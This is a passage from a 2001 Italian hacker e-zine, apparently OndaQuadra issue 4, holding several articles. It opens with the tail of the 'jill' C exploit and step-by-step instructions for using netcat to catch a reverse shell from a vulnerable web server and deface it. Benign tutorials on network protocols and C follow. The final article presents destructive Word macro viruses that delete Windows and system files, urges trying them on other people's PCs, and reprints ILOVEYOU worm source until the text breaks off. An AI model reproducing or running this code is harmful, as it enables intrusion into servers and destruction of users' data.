labs.\n"); | | | | if (argc != 5){ | | printf("usage: %s | | \n",argv[0]); | | exit(1); | | } | | | | if ((ht = gethostbyname(argv[1])) == 0){ | | herror(argv[1]); | | exit(1); | | } | | | | sin.sin_port = htons(atoi(argv[2])); | | a_port = htons(atoi(argv[4])); | | a_port^=0x9595; | | | | sin.sin_family = AF_INET; | | sin.sin_addr = *((struct in_addr *)ht->h_addr); | | | | if ((ht = gethostbyname(argv[3])) == 0){ | | herror(argv[3]); | | exit(1); | | } | | | | a_host = *((unsigned long *)ht->h_addr); | | a_host^=0x95959595; | | | | sploit[441]= (a_port) & 0xff; | | sploit[442]= (a_port >> 8) & 0xff; | | | | sploit[446]= (a_host) & 0xff; | | sploit[447]= (a_host >> 8) & 0xff; | | sploit[448]= (a_host >> 16) & 0xff; | | sploit[449]= (a_host >> 24) & 0xff; | | | | if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ | | perror("socket"); | | exit(1); | | } | | | | printf("\nconnecting... \n"); | | | | if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ | | perror("connect"); | | exit(1); | | } | | | | write(s, sploit, strlen(sploit)); | | sleep (1); | | close (s); | | | | printf("sent... \nyou may need to send a carriage on your listener | | if the shell doesn't appear.\nhave fun!\n"); | | exit(0); | | } | | .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. | | | | :Terzo punto: | | Vai nella prima shell ed entra nella directory dove hai scaricato il file | | nc110.tgz. Scrivi: | | 'su' (senza apici ovviamente) e loggati come root, ora scrivi: 'tar xvzf | | nc110.tgz' quindi | | il file sarà decompresso in una directory chiamata: 'nc110', entraci e | | scrivi: | | 'make generic', questo fa si che si crei il file 'nc', ovvero il programma | | eseguibile di | | net cat. | | | | :Quarto punto: | | Ora, sempre nella prima shell, digita: './nc -l -p 10000 -vv' e premi invio | | (ovviamente ;)). | | Questo fa si che net cat si metta in ascolto sulla porta 10000 del pc sul | | quale lo stai | | eseguendo da shell. Puoi usare qualsiasi porta non ancora in uso, ma ti | | consiglio un bel | | numero tondo come faccio io (10000). | | | | :Quinto punto: | | Ora che hai net cat in ascolto sulla porta che hai scelto, vai nell'altra | | shell, dove hai | | compilato il file jill.c in jill (eseguibile), e digita: | | './jill www.xxx.yyy 80 . | | Un esempio può essere: | | ./jill www.xxx.yyy 80 154.34.98.121 10000. Capito? Spero di si! | | Ora premi invio e leggi cosa ti dice. | | | | :Sesto punto: | | Dovrebbe mostrarti una frase del tipo: | | 'you may need to send a carriage on your listener if the shell doesn't | | appear. | | have fun!' | | Nel caso che il server (www.xxx.yyy) sia vulnerabile a jill, apparirà una | | scritta tipo: | | 'c:\winnt\system32' nella shell dove hai messo in ascolto net cat sulla | | porta 10000. | | Ora hai pieni poteri sul server che hai appena hakkato. Usa quindi i comandi | | che useresti in | | dos (dir, rm, echo, del, ect....) per fare quello che vuoi del sistema, per | | esempio un bel | | deface, è solo trovare la directory home del sito. | | Nel caso che il server non sia vulnerabile a jill, non apparirà niente nella | | shell di net | | cat, quindi: RiTENTA, SARAi PiU' FORTUNATO!!! ;) | | ----------------------------------------------------------------------------- | | | | | | cat Saluti.txt | | ----------------------------------------------------------------------------- | | Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti. | | Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x | | il supporto; | | tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la | | Tank Commandos | | Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici | | di #crack-it | | e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci. | | ----------------------------------------------------------------------------- | | | | | | -EoF- | | | | | | Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via | | e-mail o su irc. | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [NETW0RKiNG] #04 - 19/11/2001 | | i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX [shnyper] 0x0C/0x23 | +-------------------------------------------------------------------------------+ | | | Ho deciso di scrivere questo tute in quanto in molti si sentono Dio perchè | | sanno usare una backdoor o smurfare qualche sfigato su Irc..ma alla fine non | | sa neanche come funzionano i protocolli di rete..! | | | | Il funzionamento di una rete si basa sui protocolli, cioè sulle regole che | | permettono di gestire i dati in modo efficace ed affidabile. | | Anche se "trasparenti" all'utente, la loro architettura è uno degli elementi | | più importanti per pianificare e realizzare reti dalle LAN alle WAN. | | Esistono protocolli proprietari (IBM SNA o Digital DECnet) e protocolli di | | suite (Novell SPX/IPX o TCP/IP). | | | | Il sogno della rete semplice con un sinogo protocollo, si è comunque | | dimostrato irrealizzabile nella pratica. NElla maggior parte di aziende con | | una decina di host in rete, possono essere presenti anche vari sistemi | | operativi per PC e il sistema operativo di rete diventa così una specie di | | evoluzione. Più le reti sono eterogenee(diversi OS) e più la realizzazione | | di collegamenti e la gestione sistemistica si fa difficile.Internet complica | | ulteriormente, infatti per ogni PC che sfrutta un browser va installato una | | suite TCP/IP con IPX. | | | | Come altri tipi di protocolli, anche SPX/IPX non è un unico protocollo ma | | una suite di procedure standard per la connessione dei computer. | | Ciascun gruppo di protocolli formatta un messaggio, o pacchetto, con | | particolari caratteristice di indirizzamento, ricezione ed instradamento. | | Frequentemente questi pacchetti vengono incapsulati l'uno nell'altro per tre | | o quattro livelli, ognuno con specifica funzione. (V.di incaps.jpg in | | allegato) | | | | Il protocollo IPX è responsabile dell'indirizzamento dei pacchetti fra i | | nodi della rete ma non si preoccupa del loro stato o della ricezione! | | Il protocollo invece che invia al mittente una sorta di di ricevuta per i | | dati che arrivano a destinazione, è l'SPX. | | Questo protocollo quindi, come potete immaginare, può essere usato dalle | | applicazioni che necessitano di una garanzia di consegna, come per i | | trasferimenti dei file in rete, anche se la maggior parte delle | | applicazioni, soprattutto quelle che gestiscono autonomamente il | | monitoraggio della comunicazione, utilizza IPX perchè più efficiente e | | perchè richiede minor overhead. | | | | L'IPX è particolarmente adatto al trasferimento di piccoli pacchetti di dati | | ( c.ca 512 byte), come quelli per le applicazioni winzoz. Questi pacchetti | | però non sono indicati per le reti a livello nazionale perchè , utilizzando | | connessioni più lente e costose, sovraccaricherebbero la rete. | | | | Fino alla fine '94 i prodotti di rete Micro$oft utilizzavano il NetBios per | | trasferimento dati tra schede LAN. Ma..anche se molto veloce nelle piccole | | reti, i suoi pacchetti non contenevano informazioni sufficienti per l'uscita | | dalle LAN. Così le ultime versioni di winzoz NT si basano | | sull'implementazione Micro$oft di Novell IPX, utilizzato come protocollo di | | rete principale. | | Attualmente Micro$oft e Novell usano IP come protocollo predefinito, ma | | IPXviene ancora utilizzato in molte LAN attive. | | | | I protocolli TCP/IP sono uno standard aperto sviluppato dal dipartimento | | della difesa degli USA per collegare migliaia di host diversi. Venne | | sviluppato un gruppo standard di protocolli non proprietari allo scopo di | | consentire la comunicazione anche tra host delle WAN di grandi dimensioni. | | Come IPX/SPX , anche TCP/IP è una suite realizzata per controllare i servizi | | di comunicazione, ma adotta in più la capacità di far comunicare computer | | diversi in ua rete totalmente eterogenea! | | | | La parte IP del TCP/IP si occupa dell'indirizzamento dei pacchetti tra i | | nodi della rete. IP fornisce il meccanismo di consegna per l'invio e la | | ricezione dei dati e, come IPX, non è in grado di garantire la consegna. | | Un vantaggio dell'IP è la possibilità di trasferire in modo sicuro ( più o | | meno... ;) ) grossi blocchi di dati da una rete all'altra. | | Un pacchetto può contenere fino a 65.535 byte (di 8 bit), quindi 100 volte | | di più di IPX. | | | | I pacchetti IP sono incapsulati nei pacchetti TCP che forniscono i servizi | | per le informazioni di connessione. A differenza di IP, il TCP garantisce | | anche la consegna dei pacchetti e, a differenza di SPX, TCP viene | | utilizzatodalla maggior parte delle applicazioni TCP/IP, perchè pesato per | | connessioni poco affidabili. ;) | | | | TCP aumenta l'efficienza della trasmissione con il windowing, che consente | | di continuare ad inviare pacchetti mentre si attendono le ricevute di | | consegna di quelli gia inviati, funzionalità detta anche packet burst. | | Il vantaggio di TCP/IP è la possibilità di collegare milioni di computer in | | una rete globale, quale internet. | | | | Diversamente da IPS/SPX, che utilizano una tecnica di broadcast per tener | | traccia di tutti gli host e di tutti i servizi presenti, la versione 4 di IP | | (IPv4, la attuale) si basa su una serie di indirizzi univoci di 32 bit (es. | | 151.23.132.43 , 4 ottetti di 8 bit l'uno). | | Ciascun nodo della rete possiede un indirizzo univoco. | | | | In pratica IPX/SPX è l'ideale per le LAN a breve distanza in quanto i | | pacchetti sono piccoli e di formato adatto al traffico veloce delle reti | | locali. Per il resto è adottato TCP/IP. | | | | La caratteristica più interessante del TCP/IP è la possibilità di connettere | | qualunque sistema per formare un insieme unico. | | | | Per ora mi fermo qui. Alla prossima. Ciauz. | | | | | | <==<*>==> GLOSSARIO <==<*>==> | | termini inerenti al tutorial | | | | ACK=>Carattere di controllo che indica acknowledgement e che viene scambiato | | fra le componenti del sistema quando i dati sono stai ricevuti senza errori. | | | | ARP=>Un protocollo TCP/IP utilizzato per ottenere un indirizzo fisico di un | | nodo quando si conosce solo il suo indirizzo IP logico. Praticamente mappa | | gli indirizzi IP su quelli EThernet. | | | | BIND=> Berkley Internet Name Domain è l'implementazione del famoso DNS. | | Segue lo stile di indirizzamento "nome@dominio". Il processo DNS/BIND | | collega il nome, leggibile dall'uomo, ad un indirizzo IP. LEga i due come | | parte di un intero stack. | | | | BROADCAST=>Impiegato per inviare un messaggio a tutte le stazioni o ad | | un'intera classe di stazioni connesse alla rete. | | | | BUFFER=>Spazio di memoria temporaneo dove vengono memorizzati i datinel | | momento in cui si ricevono, prima o dopo la trasmissione. Compensa le | | differenze di velocità tra trasmissione e elaborazione. | | | | INTERNET=>Insieme di reti e gateway che include ARPAnet, MILnet e NSFnet e | | che adotta il TCP/IP. | | | | INTRANET=>Rete basata su IPche serve una organizzazione e i suoi partner | | commerciali. | | | | LATENZA=>(lag) Ritardo nel passaggio dei pacchetti. | | | | MODEM=>(MOdulatore/DEModulatore) Dispositivo che effettua la traduzione fra | | i segnali elettrici e alcuni altri mezzi/supporti di segnalazione.Ciò | | avviene tra segnali a corrente diretta, i PC, e analogici, le linee | | telefoniche. | | | | NODO=>Connessione o punto di commutazione sulla rete. | | | | PACCHETTO=> Blocco di dati inviato sulla rete che trasmette le identità | | delle stazioni mittente e destinatarie, le info sul controllo degli errori e | | il messaggio. | | | | PPP=>Protocollo che abilita l'utente alla connessione diretta ad internet, | | utilizzando una linea telefonica tradizionale e un modem ad alta velocità. | | | | ROUTER=>Dispositivo di interconnessione simile ad un bridge che serve | | pacchetti o frame contenenti determinati protocolli. | | | | SERVER PROXY=>Tipo di firewall che si interfaccia con Internet mediante un | | sngolo indirizzo per conto di una area intranet. | | | | SERVER=>Computer dotato di alimentazione e capacità notevoli, e che realizzi | | servizi di file, stampa o comunicazioni dispnibili alle altre stazioni della | | rete. | | | | TCP=>Specifica per il software che impacchetta e spacchetta i dati | | inviati/ricevuti, gestisc ela trasmissione dei pacchetti sulla rete e | | controlla gli errori. | | | | TCP/IP=>Insieme di protocolli che si evolve alla fine anni '70 tramite | | DoD(department of defense) | | | | TELNET=>Protocollo di emulazione del terminale. Il software che lo supporta | | viene solitamente incluso come funzione in un pacchetto TCP/IP, e tutti i | | prog di telnet forniscono l'emulazione del terminale DEC VT-100. | | | | WAN=>Tipo di rete che connette i computer su una estensione potenzialmente | | planetaria. | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 | | C0RS0 Di C [PARTE TERZA] [JEYoNE] 0x0D/0x23 | +-------------------------------------------------------------------------------+ | | |Ciao a tutti, si riparte con il terzo episodio di questa saga, il corso di C | |di JEYoNE. | |Non perdiamo tempo con le stronzate e cominciamo subito a spiegare, o meglio a | |riassumere dove eravamo arrivati la volta scorsa: | |Se non sbaglio nello scorso numero abbiamo visto il #DEFINE e il loop for, ci | |sono domande? Tutto chiaro? Ok, allora andiamo avanti. | |Oggi andiamo a vedere il costrutto IF cha ha la seguente forma: | | | | if (condizione) istruzione; | | | |La condizione è un'espressione che può essere vera o falsa,come già detto per | |il FOR x es.: (jey<100). | |IF in inglese significa "se", quindi in poche parole il costrutto if determina | |la condizione in questo modo: "Se la condizione è vera,esegui l'istruzione, se | |è falsa non eseguirla." | |Le istruzioni vengono eseguite se il valore, una volta valutato, non risulti 0.| |Quindi un if(0) non farà mai eseguire un'istruzione,mentre un if(1) la farebbe | |eseguire sempre,quindi risulterebbe inutile un if che esegue sempre (o mai) | |un'istruzione. | |Il primo esempio di questa lezione è un piccolo programma che stampa un | |messaggio soltanto se la variabile è maggiore di 10. | | | |#include | | | |main() | |{ | | | | int jey; /* variabile intera che servirà per il costrutto if */ | | | | printf("Inserisci il valore di jey\n"); | | scanf("d%", &jey); | | if (jey>10) printf("\njey è maggiore di 10\n"); | |} | | | |In questo caso il printf ("jey è maggiore di 10") verrà eseguito soltanto se | |la variabile jey è maggiore di 10, altrimenti il programma termina dopo | |l'inserimento del valore di jey. | | | |Con quest'altro esempio possiamo decidere se eseguire o meno dei pezzi di | |programma. | | | |#include | | | |main() | |{ | | int jey; | | | | printf("Inserisci il valore di jey\n"); | | scanf("d%", &jey); | | if (jey>10) | | { | | printf("jey è maggiore di 10\n"); | | printf("e ti dirò di più, jey vale %d",jey); | | } | | | |} | |In questo caso tutti e due i printf verranno eseguiti soltanto se la variabile | |jey è maggiore di 10. | | | |Visto il costrutto IF non possiamo fare a meno di vedere il suo ramo opzionale,| |chiamato ELSE. | |La forma di ELSE, che essendo un ramo di IF andrà SEMPRE insieme a lui, è: | | | | if (condizione) istruzione; | | else seconda istruzione; | | | |Il ramo ELSE fa eseguire una scelta, O si esegue la prima istruzione, O si | |esegue la seconda. Se il valore di IF è giusto si eseguira la prima istruzione,| |altrimenti si eseguirà la seconda. | |Chiaro? | |Vediamo un esempio: | | | |#include | | | |main() | |{ | | in jey; | | printf("Inserisci il valore di jey\n"); | | scanf("d%", &jey); | | if (jey>10) | | { | | printf("jey è maggiore di 10\n"); | | printf("e ti dirò di più, jey vale %d",jey); | | } | | else | | { | | printf("jey è minore o uguale a 10"); | | printf("infatti vale %d",jey); | | } | |} | | | |Ora vediamo come inserire una condizione IF all'interno di un'altra condizione | |IF. Ovvero fissiamo più di una condizione per l'esecuzione delle istruzioni. | |Esempio: | | | | if (jey>10) | | { | | if (jey<20) | | printf("Il valore di jey è compreso tra 10 e 19\n"); | | } | | else | | printf("jey vale meno di 10"); | | | |Qui che cosa succede: se jey è maggiore di 10 andremo a eseguire la seconda | |condizione IF, e qui se jey è minore di 20 eseguiamo il printf ("Il valore di | |jey è compreso tra 10 e 19"), altrimenti stampiamo il printf che dice che jey | |vale meno di 10. | |Ma che cosa succederà se il valore di jey è superiore a 20? | |Nulla, il programma uscirà senza dare alcuna risposta, visto che, come abbiamo | |detto prima, if/else fa eseguire O ciò che dice l'if, O ciò che dice l'else | |e quindi non avendo un'alternativa il programma subirà un'uscita forzata. Bene | |Se si vuole far stampare un messaggio quando risulta falso il secondo if | |bisogna mettere un altro else, vediamo : | | | | if (jey>10) | | { | | if (jey<20) | | printf("Il valore di jey è compreso tra 10 e 19\n"); | | else | | printf("Il valore di jey supera il 20, infatti è d%",jey); | | } | | else | | printf("jey vale meno di 10"); | | | |Bene, ora andremo a vedere il costrutto SWITCH, che permette di fare dei test | |multipli ad una variabile. Questo può tornare utile come alternativa a molti | |if/else annidati. | |Vediamo la sua forma: | | | | switch(variabile) | | { | | case costante1: | | istruzione1; | | break; | | case costante2: | | istruzione2; | | break; | | case costante3: | | istruzione3; | | break; | | default: | | istruzione4; | | } | | | |In questo caso verranno eseguiti 3 confronti, se la variabile non dovesse | |soddisfare nessuno dei tre confronti verrà eseguita l'istruzione di default. | |I "break" servono per fermare il confronto qualora uno dei casi risultasse | |vero, se non ci fossero verrebbero eseguiti inutilmente tutti gli altri. | |A differenza dell'if/else, lo switch può verificare soltanto l'ugualianza di | |una variabile, quindi può tornare utile per fare un menù, per esempio, dove | |ogni voce corrisponde ad un numero. | |Vediamo: | | | |#include | | | |main() | |{ | | | | int lista; /*Definiamo la variabile che servirà per lo switch*/ | | | | printf("\n Scegli un gruppo per sapere che genere di musica suona:\n"); | | printf(" 1) Cypress Hill \n"); | | printf(" 2) Elio e le storie tese \n"); | | printf(" 3) 883 \n"); | | printf(" 4) Pitura Freska \n"); | | scanf("%d", &lista); /*Prendiamo il valore della variabile lista*/ | | switch (lista) /*e facciamone il confronto*/ | | { | | case 1: | | printf("I Cypress Hill suonano RAP\n"); | | break; | | case 2: | | printf("Elio e le storie tese suonano rock demenziale"); | | break; | | case 3: | | printf("Gli 883 suonano? E ti sembra musica quella?"); | | break; | | case 4: | | printf("I Pitura Freska suonano reggae/ska"); | | break; | | default: | | printf("Nessun gruppo associato a questo numero"); | | | | } | |} | | | |Con questo abbiamo finito di parlare anche del costrutto switch, la prossima | |volta vedremo come fare per scrivere un programma più "intelligente", cioè che | |non esce fino a quando non glie lo diciamo noi. | |Parleremo del "while" e del "do-while" e .... basta, cos'altro volete ancora? | |:))) | | | |Bai bai amici, alla prossima! | | JEYoNE | | articoli@ondaquadra.cjb.net | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 | | iNTR0 ALLE MACR0 (7/8) [Mastro] 0x0E/0x23 | +-------------------------------------------------------------------------------+ | | | | | MACRO: PARTE 7° "VIRUZZZZZZ-ONE " | | | | Ok! | | Questa parte non è dedicata (forse in minima parte) alla spiegazione di | | Visual Basic, ma a qualche (parecchi) comandi meglio chiamati virus. ;) | | Per il piccolo virus che riporto sotto ho utilizzato una proprietà molto | | ultile di Application: OnTime. | | Impostando un orario è possibile far eseguire una macro a quell'ora, oppure | | dopo un tot di secondi, minuti oppure ore, il tutto senza che l'utente se ne | | accorga! | | | | Sub pippo() | | Application.OnTime When:="15:55:00", Name:="topolino" | | End Sub | | | | Alle 3 e 55 del pomeriggio la macro viene eseguita. | | | | | | A T T E N Z I O N E ! ! ! ! | | | | Quando immettete il nome della macro da far viaggare NON inserite le | | parentesi o quella non parte!!! | | | | | | | | | | Sub pippo() | | Application.OnTime When:=Now + TimeValue("00:0:15"), Name:="topolino" | | End Sub | | | | La macro "topolino" parte dopo 15 secondi. | | Se volete potete farla partire dopo 1 o 2 minuti, o anche 3 ore: | | | | Sub pippo() | | Application.OnTime When:=Now + TimeValue("00:15:00"), Name:="topolino" | | End Sub | | | | L'esempio qui sotto è una piccola cazzata, ma bastarda: | | | | Sub AutoExec() | | Application.OnTime When:=Now + TimeValue("00:5:00"), Name:="topolino" | | End Sub | | Sub topolino() | | MsgBox "" | | MsgBox "EÛÙrò¶Z ¢>ÄŽŽF(A>À EeÄŽŽ&öÌp©&n ~{}|_ßß ÞµÕÔþõÒiõ÷____6 5Ä_A", | | vbCritical | | MsgBox | | "Addiooooooooooooooooooooooooooooooooooooooooo.........................." | | Tasks.ExitWindows | | End Sub | | | | Aspettiamo 5 minuti, poi gli spegnamo Windows in faxxa!!! ;) | | E senza salvare un caxxo!!! | | E' strutturata in 2 parti: | | il timer (AutoExec), e la macro vera e propria (topolino). | | | | | | Ed ora il virus: | | è come l'esempio sopra, all'avvio di Word parte un timer in background che | | dopo 20 venti secondi fa scattare il virus. | | Inizia eliminando qualche barra degli strumenti....non si sa mai! ;) | | Poi passa a spaventare un pò il coglione, facendogli alcune domande senza | | contare le risposte, così anche se sono tutte giuste lui agisce | | ugualmente!!! ;) | | Ho messo una piccola cazzata: un messaggio che dice che il virus sta | | scatarrando nel pc e ad ogni sputo il cursore sballa cambiando forma! | | Più che spaventarlo, questo virus devasta interiormente l'utente, perchè | | cancella ogni filez presente nella cartella Windows e Sistem! | | Addio computer! | | | | | | Sub AutoExec() | | Application.OnTime When:=Now + TimeValue("00:0:20"), Name:="pippo" | | End Sub | | | | Sub pippo() | | On Error Resume Next | | Application.DisplayAlerts = wdAlertsNone | | CommandBars("file").Enabled = False | | CommandBars("tools").Enabled = False | | CommandBars("standard").Enabled = False | | MsgBox "A T T E N Z I O N E ! !", vbCritical | | MsgBox "Ciao come ti va? Io sono stato appena attivato e sono in piena | | forma." | | MsgBox "E sì, sono un virus e ti ho cancellato autoexec.bat e command.com." | | MsgBox "E' così che va la vita....un giorno a te l'altro ancora a te e così | | via....." | | MsgBox "Non dovevi scaricare quei documenti da Internet.....non ti avevano | | avvisato?" | | MsgBox "Vabbè, mi stai simpatico (non è vero!) e ti voglio aiutare con il | | buon vecchio questionario: tu rispondi giusto e io me ne vado." | | MsgBox " Via!" | | w = InputBox("Quale tra queste parole è sia un ballo che uno strumento? | | a)Bongo-bongo b)Macarena c)Charleston d)Tip-tap", "SoTtO | | cOnTrOlLo") | | If w = "b" Then | | MsgBox "Giustoooooooo!!!!!" | | Else | | MsgBox "Noooooooooooooooooooooooooooooooooooo!!!!", vbCritical | | End If | | a = InputBox("Un trojan è: a)Un videogame b)Un uomo che si | | prostituisce c)Un virus d)Un programma per accedere ad altri pc", | | "DoMaNdA fAcIlE fAcIlE") | | If a = "d" Then | | MsgBox "WOW!!!!!! GIUSTA!!!!!" | | Else | | MsgBox "Sei una schifosissima merda, ho fatto bene a infettarti!!!", | | vbCritical, "CREPA!!!" | | End If | | MsgBox "Mi sono rotto. Ultima possibilità.", vbCritical | | r = InputBox("Domanda molto facile: Galeazzi è a)Una donna b)Un | | travestito c)Un giornalista d)Un cronista", "OcChIo A nOn | | SbAgLiArE!!!") | | If r = "d" Then | | MsgBox "Ok. Hai indovinato." | | Else | | MsgBox "No! Ancora sbagliato!", vbCritical | | End If | | MsgBox "Non me ne frega un cazzo di quante risposte hai azzeccato o di | | quante ne hai sbagliate, ho solo voglia di sputare ripetutamente sul tuo | | misero pc.", vbInformation | | MsgBox "Ora lo faccio, stai a vedere......" | | For I = 1 To 100000 | | System.Cursor = wdCursorWait | | Next I | | System.Cursor = wdCursorNormal | | For I = 1 To 10000 | | System.Cursor = wdCursorNorthwestArrow | | Next I | | System.Cursor = wdCursorNormal | | MsgBox "Ancora catarro!" | | For I = 1 To 1000 | | Application.HelpTool | | Next I | | System.Cursor = wdCursorNormal | | For I = 1 To 10000 | | System.Cursor = wdCursorNorthwestArrow | | Next I | | System.Cursor = wdCursorNormal | | MsgBox "Avanti di saliva!" | | For I = 1 To 1000 | | Application.HelpTool | | Next I | | System.Cursor = wdCursorNormal | | For I = 1 To 10000 | | System.Cursor = wdCursorNorthwestArrow | | Next I | | System.Cursor = wdCursorNormal | | For I = 1 To 1000 | | Application.HelpTool | | Next I | | System.Cursor = wdCursorNormal | | For I = 1 To 100000 | | System.Cursor = wdCursorNorthwestArrow | | Next I | | System.Cursor = wdCursorNormal | | MsgBox "Scatarro come non mai!" | | For I = 1 To 10000 | | Application.HelpTool | | Next I | | System.Cursor = wdCursorNormal | | MsgBox "Ho finito il catarro, cazzo!", vbCritical | | MsgBox "Iniziamo a devastare!", vbCritical | | Kill "C:\WINDOWS\*.*" 'Chissà a cosa serve | | Kill? | | Kill "C:\WINDOWS\SYSTEM\*.*" | | Kill "C:\DOCUMENTI\*.*" 'Volevo essere | | Kill "C:\WINDOWS\*.dll" 'sicuro di | | Kill "C:\WINDOWS\*.ini" 'DEVASTARE il pc. | | MsgBox "Non ho fatto apposta.", vbYesNo, "Grande cazzata" | | MsgBox ";) Ha ha ha ha ha ha ha ha!!!!!!!" | | End Sub | | | | | | | | | | MACRO: PARTE 3° "VIRUZZZZZZ-TWO " | | | | Ok! | | Piaciuto il viruzzzzzz-one? Provatelo su qualche pc! (Non il vostro.....) | | Non so quanti di voi lo sapevano già, comunque c'è la possibilità di creare | | macro anche in programmi che non siano Word, come Excel, PowerPoint e | | Access. | | Il guaio è che i comandi cambiano da programma a programma (quelli di Visual | | Basic rimangono gli stessi, gli altri no). | | Una cosa abbastanza divertente si può fare con PowerPoint: prendete | | un'immagine di un teschio o comunque qualcosa di "pauroso" e poi la mettete | | in una diapositiva. | | A questo punto vi basta creare una macro che blocchi tutto, magari con un | | messaggio d'errore "perpetuo", oppure gli cancellate qualche filez con: | | | | | | Sub pippo() | | Kill "nome e percorso del filez" | | End Sub | | | | Anche qui potete usare l'asterisco (*) per indicare tutti i filez: | | | | Sub pippo() | | Kill "C:\WINDOWS\*.exe" | | End Sub | | | | Potete anche dire addio a windows. | | Oppure potreste eliminare direttamente la directory con RmDir: | | | | Sub AutoExec() | | RmDir "Documenti" | | RmDir "Windows" | | End Sub | | | | Crearne delle altre? | | | | Sub pippo() | | MkDir "Pippo" | | Mkdir "C:\WINDOWS\SYSTEM\PIPPO" | | End Sub | | | | Con il primo comando ho creato una cartella nella directory corrente | | (Windows), con il secondo la cartella PIPPO viene creata in System. | | | | | | Ora veniamo all'argomento di questa parte: il registro di sistema. | | Forse qualcuno di voi lo conosce già, per gli altri è un registro con le | | chiavi di tutti i programmi, anche di quelli già disinstallati. | | Se qualcuno si è beccato un Trojan ha dovuto operare un pò sul registro per | | salvarsi. Se volete vederlo basta andare su "Esegui" dal menù avvio e | | digitare | | "regedit". | | Che cozza possiamo fare noi con le nostre macro? | | Semplice! Creiamo o eliminiamo chiavi! | | | | Sub pippo() | | SaveSetting appname := "Pippo", section := "Topolino", key := "ciao", | | setting := 75 | | End Sub | | | | | | SaveSetting==>gli chiediamo di salvare una nuova chiave | | appname ==>dal nome..... | | section ==>con una sotto-sezione di nome..... | | key ==>con un comando di nome.... | | setting ==>il valore del comando | | E a me? ==>Non lo so, può sempre essere utile! ;) | | | | Eliminare una chiave? (cosa molto più importante) | | | | Sub pippo() | | DeleteSetting "Pippo", "Topolino" 'eliminiamo Topolino | | DeleteSetting "Pippo" 'eliminiamo Pippo | | End Sub | | | | | | Ora potete manipolare le chiavi del registro a vostro piacimento. | | Questo qui sotto è il viruzzzzzz-two, purtroppo però non è una mia creazione | | ma è il testo del mitico virus "I love you". | | L'ho messo per farvi vedere un esempio molto funzionante di manipolazione di | | chiavi. | | Eccovivi l'opera d'arte: | | | | | | | | | | On Error Resume Next 'iniziamo | | dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow | | eq="" | | ctr=0 | | Set fso = CreateObject("Scripting.FileSystemObject") | | set file = fso.OpenTextFile(WScript.ScriptFullname,1) | | vbscopy=file.ReadAll | | main() | | sub main() | | On Error Resume Next | | dim wscr,rr | | set wscr=CreateObject("WScript.Shell") 'prima manipolazione | | rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting | | Host\Settings\Timeout") | | if (rr>=1) then | | wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting | | Host\Settings\Timeout",0,"REG_DWORD" | | end if | | Set dirwin = fso.GetSpecialFolder(0) | | Set dirsystem = fso.GetSpecialFolder(1) | | Set dirtemp = fso.GetSpecialFolder(2) | | Set c = fso.GetFile(WScript.ScriptFullName) 'copiamo qualche filez di | | sistema | | c.Copy(dirsystem&"\MSKernel32.vbs") | | c.Copy(dirwin&"\Win32DLL.vbs") | | c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") | | regruns() | | html() | | spreadtoemail() | | listadriv() | | end sub | | sub regruns() | | On Error Resume Next | | Dim num,downread 'andiamo avanti con i cambiamenti.... | | regcreate | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M,dirsystem | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\M&"\MSKerne | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ml32.vbs" | | regcreate | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe32DLL",dir | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSewin&"\Win3 | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSe2DLL.vbs" | | downread="" | | downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet | | Explorer\Download Directory") | | if (downread="") then | | downread="c:\" | | end if | | if (fileexist(dirsystem&"\WinFAT32.exe")=1) then | | Randomize | | num = Int((4 * Rnd) + 1) | | if num = 1 then 'impostiamo la main page di Internet | | Explorer. | | regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start | | Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw | | Page","http:/6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" | | elseif num = 2 then | | regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start | | Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe5 | | Page","http:/46786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" | | elseif num = 3 then | | regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start | | Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmP | | Page","http:/OhfgER67b3Vbvg/WIN-BUGSFIX.exe" | | elseif num = 4 then | | regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start | | Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhY | | 